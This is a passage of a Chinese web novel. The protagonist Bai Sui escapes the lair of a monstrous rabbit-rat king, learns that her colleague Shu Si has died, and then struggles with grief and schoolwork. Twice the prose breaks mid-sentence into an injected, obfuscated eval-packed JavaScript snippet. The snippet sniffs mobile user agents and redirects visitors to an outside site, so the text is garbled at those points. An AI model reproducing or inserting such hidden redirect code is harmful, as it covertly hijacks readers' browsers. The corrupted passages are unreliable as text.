许墨赋被柏穗生拉硬拽地走向出口,她比看起来的样子还要轻,柏穗没多费什么力气就将她拽到出口处。 许墨赋这时才像回过神,她握住柏穗的手,轻轻说了一句话。 柏穗顿时惊讶地甩开她的手,脑袋一片空白地催促她出去,看着她没入墙壁,身影彻底消失,然后自己转身往舒思那里跑。 可是她的脑海里还停留着许墨赋的那句轻飘飘的话:“你会种出钩吻的。” 许墨赋,一直以来都表现奇怪的许墨赋。 这算什么?她的预言吗?她怎么知道柏穗需要种出钩吻? 柏穗脑中突然闪现出兔鼠跃过许墨赋扑向她的片段。 许墨赋,她为什么不受兔鼠的攻击?而且她看起来也不像是害怕兔鼠的样子。 她到底是谁? 毛线一样复杂缠绕的思绪一时半会儿也理不清,柏穗走到舒思旁,小刀悬浮在空中直指兔鼠王。 “它能控制有限个瞎兔鼠的行动。”舒思言简意赅地告知柏穗。 原来自己捡回一条命还是因为兔鼠王放弃了对那几个兔鼠的控制,想必是它为了集中精神应对舒思。 她放下小刀,那最好还是别让兔鼠王感到太多威胁。 一个护着崽的母亲,你不知道她会做出什么事。 柏穗看着兔鼠王,仿佛看见了叼着自己的猫崽子的流浪猫。 那是一只三花猫,它原本生了好几只幼崽,却都因为照顾不周而渐渐没了动静。 柏穗亲眼目睹剩下的唯一一只幼崽被它叼走,它要离开这个让它失去孩子的伤心之地。 兔鼠王就和它有一样锐利且发出警告的眼神,但是少了流浪猫眼中的害怕。 兔鼠王当然不害怕,她的实力摆在那里,但她免不了烦躁。 此时邵封怀和柯碟子在安丹桂的协助下,往这里移动,渐渐和舒思汇合。 空地上到处都是愣在原地的瞎兔鼠,有的是眼睛中了细针,有的是被石化,有的则是被炸出血窟窿,眼球的位置只剩两个框。 目睹一切的柯碟子不忍直视,那个叫安丹桂的太可怕了,虽然邵封怀只叫他“安丹”。兔鼠眼睛和身上的血窟窿都拜他所赐。 他还总是笑嘻嘻的,一点不为当下的情况发愁。 带着几十个民众的其余管理员也各自发挥效用,节省力气,只攻击兔鼠的眼睛。 地面上大多数兔鼠已经中了舒思的细针,因此没多费功夫他们也到达兔鼠王跟前。 即便如此,民众们一路走来还是战战兢兢,因为地面上无论是活着的还是死去的兔鼠,仅仅都是一小部分。 更多的兔鼠还是在高高的箱子堆上望着他们。 兔鼠王从一开始就没有放出所有的兔鼠一齐发动攻击,如果它早那样做,那么仓库里早安静下来了。 区区几个人类,就算是改造过,有着不同的强悍能力,面对兔鼠大军,也根本毫无抵挡之力。 黑兔鼠王沉静地注视着仓库的所有人类,他们此刻都聚集在它的面前。 外邦来朝,不是上贡不是拜访,只是想路过,要看它同不同意。 兔鼠王张开了嘴巴,它能轻易将一个人头咬碎。 管理者们不知道它要做什么,以为它要发动攻击,纷纷举起武器,以静制动。 剑拔弩张之际,几只白兔鼠跳到众人视野里,它们蹦蹦跳跳,看起来欢乐无比,最终跳进了兔鼠王张开的嘴巴里。 嚼嚼嚼。 咯吱咯吱咯吱。 原来它只是想补充能量,哺育几只幼崽确实需要耗费不少气力。 “呕……呕……”有精神上支撑不住的民众终于忍不住反胃吐出来。在他们看来,黑兔鼠这一举动恰似人吃人。 空气中本就弥漫着混杂的异味,这下更是难闻到极点。 孔西茉捏住鼻子。 而黑兔鼠王吃白兔鼠的举动恰好印证了柏穗先前那个可怕的想法:白兔鼠吃人,人能转化为白兔鼠,那黑兔鼠吃什么呢? 如果它吃人,那么转化为白兔鼠不是多此一举吗? 答案已经给出:黑兔鼠当然只吃白兔鼠。 对于兔鼠王来说,大概只有自己养育的黑兔鼠才是真正的同类。白兔鼠们则是子民,是下属,也是食物,是为它工作为它服务的储备粮而已。 眼看着兔鼠王前的人类越聚集越多,舒思按下腰带的按钮,顿时她的棒球服和长裤都被收缩到腰带上的储存仓内,她身上取而代之的是更便于行动的黑色短袖与紧身短裤。 舒思的四肢居然都不是肉身。 银灰色的金属材质包裹住她的手臂和小腿,除了双手,她没有刻意将自己的改造部分用上皮肤质感的外皮。 怪不得测量仪器在她的手中,即便被握了那么久,也仍然是冰冷的。 柏穗努力想让自己显得不太惊讶,然而抵挡不住身后的民众窃窃私语传进耳朵里。 “她怎么改造成这样?” “这是违法的吧?” “她还算人类吗?脑袋也是金属做的?” 孔西茉又给了最后说话的那个男人一拳,皱着眉头说:“安静!” 男人捂着脸,又沉默下去,但眼神明显表达了他的不满。 这群人说话不看场合的吗? 柏穗看着所有的管理者都似乎准备好了来一场胜算极小的恶战。 虽然他们的目的从来不是杀光所有的兔鼠。 即便是凌晨的息盘地铁站,鲁鸢也只是在确保所有人员出站后就结束了任务,并不是烧死了所有的吸血守宫。 说到鲁鸢,如果鲁鸢在这里,用火烧兔鼠是不是更容易解决问题?不过身上着火乱跑的兔鼠很容易伤到民众,柏穗想象那场面,简直就是移动的火源。 如果光是他们几个管理者,保证自身安全的情况下跑到出口绝不算难事,问题是还要保护其余几十个普通民众不受伤害。 这就难办了。 一小部分兔鼠足以让他们难以行动,如果兔鼠全员出动,包括兔鼠王,那他们就只好等死了。 本身几个异类闯入兔鼠王的领地,难免会让它焦虑和烦躁,再加上不知为何对许墨赋的转化失败了,出现了兔鼠王意料之外的事,所以它才会指挥兔鼠们发动攻击,保护自己也保护自己的宝宝。 这是柏穗的猜想,但她相信兔鼠王至少是有情感的,对于它几个孩子的情感肯定远大于白兔鼠们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401977|184218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是柏穗神情恳切地说:“我们不会伤害你的孩子,让我们离开吧。” 孔西茉:逗我呢? 舒思又放出在储存仓内压缩好的衣物,她一板一眼地套上棒球服。 孔西茉:舒姐你也在逗我? 黑兔鼠似乎听懂了,也可能没听明白,它的目光从舒思身上移到柏穗,又开始嗅闻。 柏穗的手环似乎被它的嗅闻牵动,她的神经有那么几瞬间好像和什么东西连接在了一起,随后又立刻断开。 兔鼠王估量了一圈,每位管理者都感到被兔鼠王打量了一番,然后它再次坐了下来。 它闭上了眼睛。 在人类看来,这似乎是一种默许。 孔西茉:就这么简单? 柏穗相信兔鼠王就像小刀一样,尝试过连接了自己的神经。但是这种连接不像是控制型的,而像是为了深入了解而进行的。 柏穗没读懂兔鼠王,但兔鼠王也许读到了柏穗的某些思想。 所以它同意了柏穗的请求。 “大家排队依次从这里走,不要急,都能出去哦。” 这几个管理者中,安丹桂最适合守在出口边像空乘似的感谢大家乘坐本次航班,欢迎下次再来。 邵封怀的黑眼罩就足以率先被pass,舒思冷冰冰的,孔西茉刚打了那个不安分的男人两拳,其余管理者各有各的特点,只有安丹桂看起来笑得最真诚,最能安抚大家的情绪。 最主要的是,孔西茉说他外形不错。 邵封怀先带着柯碟子出去了,柏穗留在队伍末尾。 一只小黑兔鼠离开妈妈的怀抱,偷偷溜了出来。 它妈妈将它养得极好,身体圆滚滚的,老鼠的尖嘴在这个阶段还没那么明显,因此它的老鼠脸近乎于仓鼠,胖嘟嘟的看起来没什么攻击力。 它这一生还没见过这么多人类,它好奇地盯着这些人一个又一个地消失在它的小窝后面。 柏穗甚至觉得它有点可爱,如果不是它妈妈在,她都想上去撸它两把。 “你先出去吧。”舒思对柏穗说道,安丹桂也已先一步出去。 舒思在队伍最后,和红头发的孔西茉一起,防止特殊情况的发生。 但一切看来都如此平静,甚至可以说是人和兔鼠和谐相处。 柏穗安心地想,终于能结束这场噩梦一样的经历了。 已经没剩下几个人在身后,她身心舒畅地迈入出口所在的墙壁,就像散步一样。 “不要!”突然身后传来一声严肃的阻止,伴随着男人女人凄厉的尖叫。 柏穗紧急回头,那个原本安分跟在孔西茉身后的男人似乎是对着兔鼠愤恨不已,但又惧怕巨大的黑兔鼠。所以他离开队伍,抬起脚就要往小黑兔鼠身上踩,想要把恨意发泄到小黑兔鼠上。 柏穗已经来不及再返回,她出去前最后一眼见到的,就是还没碰到小黑兔鼠的男人被兔鼠王的利爪穿过,串成烧烤串,血液直滴,落在地上,渗入地里。 新鲜无比的烧烤串。 兔鼠王从它的洞穴中探出来,它踏到地面上时,舒思感受到了地面的颤动。孔西茉面容凝肃,手持双枪,严阵以待 窝里的小黑兔鼠们离开了妈妈的怀抱,凑在一起不安地抖动。白兔鼠们也被感染,它们开始狂叫,开始摩挲爪子。 男人后面的几个无辜民众发出刺耳的尖叫声,狂奔向出口,那是面对死神降临时的惊恐万分。 11.都会过去的 出口,也就是柏穗进入空间的入口,柯碟子的店铺门前,“净土”前的空地上,此刻人头攒动。 天阴沉沉的,明明来时还阳光明媚。 云层像被墨汁浸染,沉甸甸地压在天际。原本该亮堂的早晨,竟暗得像傍晚。 柏穗想,明明她准备出来前,一切都还和平。 也许她再注意一点队伍里那些人的动静,如果她没有沉浸在摆脱噩梦的急切中,她就能看到那个男人的动作。 他害了仍然留在空间里的那几个人,他是死了,可也死有余辜。 其余被救的人已经被带往异化局治疗和签署保密协议。这附近则被真理塔和异化局的人完全封锁。 虽然这次空间的范围极广,但是入口集中在海冲路附近,北边的入口仅仅一两个。 赵甫你说对了,海冲路附近是真的阴气重啊。 人群中夹杂着穿着深蓝色警服的人,他们来自零市警局。警局的人多少也知道点警告事件,他们负责善后事宜,并不全权处理。 一个穿着深蓝色警服样子的男人问:“不是说是A级警告事件吗?” “难说。这次的警告事件显然已经不止于A级了,说是S级都不为过。”和他穿着同样制服的女人回答道,并提出了自己的猜测。 “如果是这样……那地下……异化局的人岂不是判断失误?” “行了小点声。”女人赶快打断他的话。 柏穗静静听着他们的对话,没做出反应。 从B级跨越到S级……她能活下来真是件幸事。如果所有人都这样活下来,就好了。 她眼前浮现血肉模糊的光头男,面容如融蜡的驼背男,那个不安分的男人,还有生死未卜的舒思…… 她并不想让前几个复活,只希望最后一个不要和前几个一样列入死亡名单。 柏穗和柯碟子没有受伤,她们等候在柯碟子的店铺门口,“净土”小窗口旁的海报不知道被谁撕了下来,一点痕迹都没留下。 舒思迟迟没出来。 孔西茉倒是很快就出来了,她全身都是血,浓稠的部分是兔鼠的,稀一些的部分是人类的。她还拼死带出来几个幸存者。 看到相关处理人员把他们领走,孔西茉才说:“舒……舒姐她……” 然后她就晕了过去。 舒思随时都会出来,也随时都会死在里面。 柏穗这样想。 邵封怀处理完其它事务,也回到这里。 柏穗想进去帮舒思,可是被邵封怀制止:“所有入口都不允许进入。更何况你进去只会拖她的后腿,而且从这里进去,赶到出口还需要时间,如果那时她已经出来了呢?” 邵封怀说了这么多话,让柏穗有点恍恍惚惚的,入口……出口……什么出口? 快让舒思来和她说,舒思说话简洁多了。 “我们要相信舒思。”邵封怀嘴上这么说,却一直捏紧小黑盒,一眼不眨地盯着数值波动。 柏穗不安地用腕骨抵住嘴,每一次呼吸都显得沉重而艰难,柯碟子紧紧抓着她的胳膊,不敢看她最爱的店铺,用柏穗的后背作为遮挡捂住眼睛。 时间一分一秒度过,空气黏着而沉闷。 云层在不断堆积,整座城市都静得有些压抑。不知道哪家店的旧铁皮广告牌被风吹得发出 “哗啦哗啦” 的声响,远处的高楼大厦只余一片模糊的暗。 邵封怀忽然关闭了仪器,愣神望着“净土”的店门,他用一种沉痛的嗓音说: “数值已经恢复到0值,所有出入口都已关闭。” “唰——” 大雨终于落了下来。 柏穗身穿防酸雨的衣服站在田边,她望着湿润的泥土,被雨点打中会陷下的土块。 一股土的味道飘进鼻子里,纯粹而清洌。 种子种下去有几天了,一到下雨天,她就会想起“净土”前的遭遇。 当邵封怀间接宣判了舒思的死讯后,在天上积压已久的雨水终于倾泻而下。 潮湿的空气,湿润的眼眶。 她看见管理人员把入口处的封条撕下,因为出入口不再起作用。 她看见还没离开的许墨赋握住她的双手,抵着她的额头说:“都会过去的。” 她的声音神奇地抚平了柏穗的心,让她的呼吸都平缓了下来,但是之后难过的情绪还是如落潮后露出的礁石一样慢慢浮现。 她看见柯碟子肿着眼睛说:“钩吻种子我有,但是如果你能给我证明你能种活其它品种的种子,我才能给你。” “铃兰庇护所?他们派人找我问过,但我一向很讨厌他们。” “所以你也不知道他们为什么要钩吻种子?”柏穗问。 “我不关心这个。”柯碟子拿了几颗多余的种子给她,“这几个种子我自己还有,不过我不确定这是什么种子。你种种看吧,应该是有活性的。” 和柯碟子说了再见,她关上了门,然后又留了个门缝,对柏穗说:“都会过去的。” 柏穗简直要震颤,许墨赋究竟是什么人啊? 柏穗回头,许墨赋已经被带走了,不见踪影。 那天回去柏穗狠狠睡了一觉,她当然没买到供应点的菜,她也没心情吃,一直睡到傍晚她才自然醒。 她看着黑乎乎的家里,想到了兔鼠王的巢穴。肚子饿得疼,她的胃里和家里一样空落落的。 手环积压着消息提醒。 她先点开了和鲁鸢的对话框。 鲁鸢给她发来转账,整整一万彗钞,多的是对她特殊贡献的表扬。 由于她的居民身份还没转移到地下市场管理局的系统里,所以这仅仅是鲁鸢个人对她的实习工资发放。 除此以外,鲁鸢还给她推荐了一位心理医生。希望她感到不适时去看一下医生,作为地下市场管理局的预备成员,不需要收她的费用。 柏穗谢过鲁鸢的好意。 柏穗也加了邵封怀的账号,邵封怀问她舒思的悼念会要不要来参加。时间和地点都打在了屏幕上,无论她来不来都为会她留个位置。 柏穗打出几个字,点击发送:“我一定会去的。” 柯碟子则给柏穗发来一份上个时代使用的种植手册。 柏穗回了几句,然后点开和伍念初、杨烁三人群聊的对话框。 他俩讨论了半天作业内容,接着话题又莫名转移到邻居家的八卦上。 最后就是两人艾特柏穗,问她作业写了没。 柏穗似乎获得了一点力气。 那天她到伍念初家吃的晚饭。即便到访突然,这家人还是热情招待了她。 伍母说:“哎呀下次早说你来,我就让念初多买点菜了。” 伍父说:“欢迎你多来啊。” 伍念初说:“柏穗你怎么哭了?” 柏穗说自己想家里人了,随后擦去眼泪,但其实她都不知道家里人长什么样子,两辈子都是。 她只是为舒思而哭。 柏穗回去强撑着写完作业,又一次睡得天昏地暗。 异化局内,六楼。 邵封怀所在的这间办公室的墙壁被刷成绛黑色,看起来比鲁鸢办公室的深红又多出几分肃穆。 但这不是他的办公室。 窗边站着的那位只给邵封怀留下一个背影:“你们的判断失误,差点让那位受到伤害!” 说话的是一个身材魁梧的中年男人,他声音粗犷,眼睛从窗户外移向窗户上身后三人的倒影。 安丹桂的笑容凝固在脸上,疑惑地问道:“哪位啊?我怎么不知道?” 他看向两边的邵封怀和孔西茉,两个人都没什么表情,一个低头看地,一个抬头看天花板。 没人理他。 “敢情就我不知道呗。行。”安丹桂用手指撑着下巴,无聊地点着头。 抬头看天花板数着霉点的孔西茉忽然开口:“以前从没有出现这种规模的空间,我怀疑问题出在……” “别说了。”邵封怀打断她的话,不让她继续说一些可能影响到她自己的无端猜测。 是的,即便是几乎确认,但是没有证据,就是无端猜测,甚至于污蔑。 证据永远存在,只是他们无法获得而已。 “谨言慎行……这很好……”中年男人慢悠悠地说,仿佛每个字都在嘴里嚼过一遍才说出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401978|184218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 安丹桂不耐烦地跺脚。 邵封怀看了一眼孔西茉说:“我们之前没有遇到过兔鼠王,对它们的了解仅限于白色兔鼠的习性,以为黑白兔鼠只是颜色上的区别。” 没想到是阶级上的区别。 “这次之后,我们会安排人重新检查和调整对之前异化动物的记录,看有没有类似的疏漏。”邵封怀说完,安丹桂朝他眨眨眼,再次遭到无视。 “算了,舒……舒思是吧。她的悼念会你们好好办,办给真理塔那群人看看!我们的人因为他们,又牺牲一位!”局长叹了口气,随后说,“邵封怀你可以走了。” “是!”邵封怀大声应道,阔步走出异化局局长办公室,一滴清泪滑落他的脸颊。 安丹桂看着邵封怀走出去,想着这人怎么还是一副当兵的做派。 办公室门的光幕恢复成白色,安丹桂随后扭头嬉皮笑脸地问道:“辛局长,那我们做什么呢?” 辛局长听出他刻意的用词,“哼”了一声。 辛局长,辛连。异化局新任局长。 在前局长犯了重大错误被真理塔换下去后,辛连作为真理塔某部部长原本当得安安分分,理所应当,却被对头找了个理由下放到地下市场管理局做了新任局长。 即便是从部长到局长,但是对辛连来说,是从高层到基层的云泥之别。 他到任第一件事,就是将“地下市场管理局”这个名字改成“异化局”。 真理塔的人才不管这个所谓的“局”是什么名字,只要它存在,只要它的人员存在,能帮他们处理麻烦就行了。 辛连知道局里有人对前局长念念不忘,对这个新名称嗤之以鼻。 他急于培养自己的势力。 “你们俩是我看着上来的,我在真理塔任职的时候没少照拂你俩吧?”辛连笑着说,试图打感情牌,但对象找错了人。 安丹桂歪头:“有这回事儿吗?” 孔西茉接着说:“我一心工作,别的不知道。我还有事,就先走了。” “我也到下班时间了。”安丹桂挥挥手离开。 辛连胸口顿时像憋了一口闷气:“两个不知好歹的家伙!” 异化局面朝真理塔的方向,辛连和异化局一样,此刻面对着真理塔,虽然它已经融入了夜色之中,但辛连还是能准确感受到它的存在。 “我一定会再次回到那里……”他回头,蓝绿色的眼瞳像一只捕猎中的豹子,它不是不动,只是在等待一个一击必中的时机。 柏穗在家里翻出一个古董锄头。 那柄古董锄头斜倚在墙角,柏穗好奇自己之前怎么没发现它的存在。明明家里上上下下都被她早就翻过一遍。 锄头的木柄处裹着深褐包浆,能看到上面的细密纹路,握柄处被磨得发亮,可以想象出当时它被使用得有多么频繁。 锄头的金属刃部覆盖着斑斑锈迹,与木柄衔接处用铁箍固定,缝隙里嵌着点点泥土。 柏穗给它洗洗搓搓一番后觉得它尚能使用。 有种子,有工具,有种植手册。 种田大业可以正式开始了,但柏穗自身面临着一个问题。 她发现自己无法静心完成作业,看课也是无聊透顶。她不愿意去琢磨出题人的想法,不愿意去深究题目的细节,不愿意听机器人讲课,也不愿意听真人讲题。 光是“厌学”倒还好办,问题是厌学背后的心理问题让她恐惧。 特别是当舒思的悼念会日期一点点接近,她越来越懒惰,越来越难以动笔。 她每天还是照常去买菜,和伍念初和杨烁说说笑笑买完菜回来,就盯着自己的田看,时不时用古董锄头给土地松松土。 尽管她知道仅仅是松土,对于这样的烂土地来说无济于事。 她已经好几天没做学校的作业了,第三天没交作业时,学校给她的监护人发去第一次警告。 由于柏穗目前没有监护人,所以是柏穗自己收到了警告。 但柏穗还是照常不做作业。 在学校给她二次警告的当天,鲁鸢发来消息: “管理局在组建集训营,我建议你参加。”